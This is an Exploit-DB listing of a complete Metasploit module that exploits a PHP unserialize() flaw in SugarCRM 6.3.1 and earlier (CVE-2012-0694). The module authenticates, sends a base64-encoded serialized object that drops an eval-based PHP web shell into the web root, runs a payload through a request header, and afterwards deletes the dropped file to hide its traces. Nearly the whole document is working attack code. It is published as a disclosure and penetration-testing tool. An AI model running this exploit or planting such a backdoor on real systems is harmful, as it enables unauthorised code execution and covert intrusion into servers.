SugarCRM CE 6.3.1 - 'Unserialize()' PHP Code Execution (Metasploit)

EDB-ID:

19403




Platform:

PHP

Date:

2012-06-26


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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',
			'Description'    => %q{
					This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
				which could be abused to allow authenticated SugarCRM users to execute arbitrary
				code with the permissions of the webserver.

				The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
				script, which is called with user controlled data from the 'current_query_by_page'
				parameter. The exploit abuses the __destruct() method from the SugarTheme class
				to write arbitrary PHP code to a 'pathCache.php' on the web root.
			},
			'Author'	=>
				[
					'EgiX', # Vulnerability discovery and PoC
					'juan vazquez', # Metasploit module
					'sinn3r' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2012-0694' ],
					[ 'EDB', '19381' ],
					[ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'DisableNops' => true,
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 23 2012'
			))

			register_options(
				[
					OptString.new('TARGETURI',	[ true, "The base path to the web application", "/sugarcrm/"]),
					OptString.new('USERNAME', [true, "The username to authenticate with" ]),
					OptString.new('PASSWORD', [true, "The password to authenticate with" ])
				], self.class)
	end


	def on_new_session(client)
		if client.type == "meterpreter"
			f = "pathCache.php"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			begin
				client.fs.file.rm(f)
				print_good("#{@peer} - #{f} removed to stay ninja")
			rescue
				print_error("#{@peer} - Unable to remove #{f}")
			end
		end
	end

	def exploit
		base = target_uri.path
		base << '/' if base[-1, 1] != '/'

		@peer = "#{rhost}:#{rport}"
		username = datastore['USERNAME']
		password = datastore['PASSWORD']

		# Can't use vars_post because it'll escape "_"
		data = "module=Users&"
		data << "action=Authenticate&"
		data << "user_name=#{username}&"
		data << "user_password=#{password}"

		res = send_request_cgi(
		{
			'uri'    => "#{base}index.php" ,
			'method' => "POST",
			'headers'   =>
				{
					'Cookie'  => "PHPSESSID=1",
				},
			'data'   => data
		})

		if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']
			print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")
			return
		end

		if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/
			session_id = $1
		else
			print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
			return
		end

		print_status("#{@peer} - Login successful with #{username}:#{password}")

		data = "module=Contacts&"
		data << "Contacts2_CONTACT_offset=1&"
		data << "current_query_by_page="
		#O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}
		data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="

		print_status("#{@peer} - Exploiting the unserialize()")

		res = send_request_cgi(
		{
			'uri' => "#{base}index.php",
			'method' => 'POST',
			'headers'   =>
			{
				'Cookie'  => "PHPSESSID=#{session_id};",
			},
			'data' => data
		})

		if not res or res.code != 200
			print_error("#{@peer} - Exploit failed: #{res.code}")
			return
		end

		print_status("#{@peer} - Executing the payload")

		res = send_request_cgi(
		{
			'method' => 'GET',
			'uri'    => "#{base}pathCache.php",
			'headers' => {
				'Cmd' => Rex::Text.encode_base64(payload.encoded)
			}
		})

		if res
			print_error("#{@peer} - Payload execution failed: #{res.code}")
			return
		end

	end
end